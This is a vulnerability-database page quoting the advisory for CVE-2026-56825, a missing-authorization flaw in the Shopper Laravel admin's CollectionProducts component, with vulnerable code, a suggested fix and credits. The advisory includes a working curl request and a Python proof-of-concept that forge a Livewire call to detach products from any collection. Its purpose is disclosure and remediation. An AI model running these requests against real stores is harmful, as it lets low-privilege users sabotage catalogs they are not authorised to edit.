Answer in brief
CVE-2026-56825 records a High severity (CVSS 8.1) vulnerability in Shopper: Missing authorization on product removal actions in CollectionProducts component. The current sources do not mark it as known exploited. The current feed maps shopper/framework (composer). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 8.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps shopper/framework (composer). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| shopper/frameworkcomposer | <2.9.2 | 2.9.2 |
Published upstream
Sep 11, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Sep 11, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Sep 11, 2026
## Title Missing authorization on product removal actions in CollectionProducts component ## Description A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `->authorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105` ```php // Line 40 - client-mutable, no #[Locked] public Collection $collection; // Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }), ]) // Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ]) ``` ## Steps to reproduce Prerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required). ```bash SESSION="laravel_session=<your_session_value>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" # Step 1: Note the collection ID you wish to empty (e.g., collection_id=5). # Step 2: Call the bulk table action on the CollectionProducts component, # substituting collection ID 5 in the component state. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' # Expected: HTTP 200, all listed product IDs detached from collection 5, # regardless of the caller having only browse_collections. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) COLLECTION_ID integer ID of the target collection PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3") """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] collection_id = int(os.environ['COLLECTION_ID']) product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')] headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'collection': collection_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', product_ids], }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` ## Impact A staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed. ## Suggested fix ```php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php use Livewire\Attributes\Locked; #[Locked] // prevent client-side ID substitution public Collection $collection; // Per-record action: Action::make('delete') ->authorize('edit_collections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }), // Bulk action: DeleteBulkAction::make() ->authorize('edit_collections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... }) ``` ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).
Quoted source text, attributed separately from HOL analysis.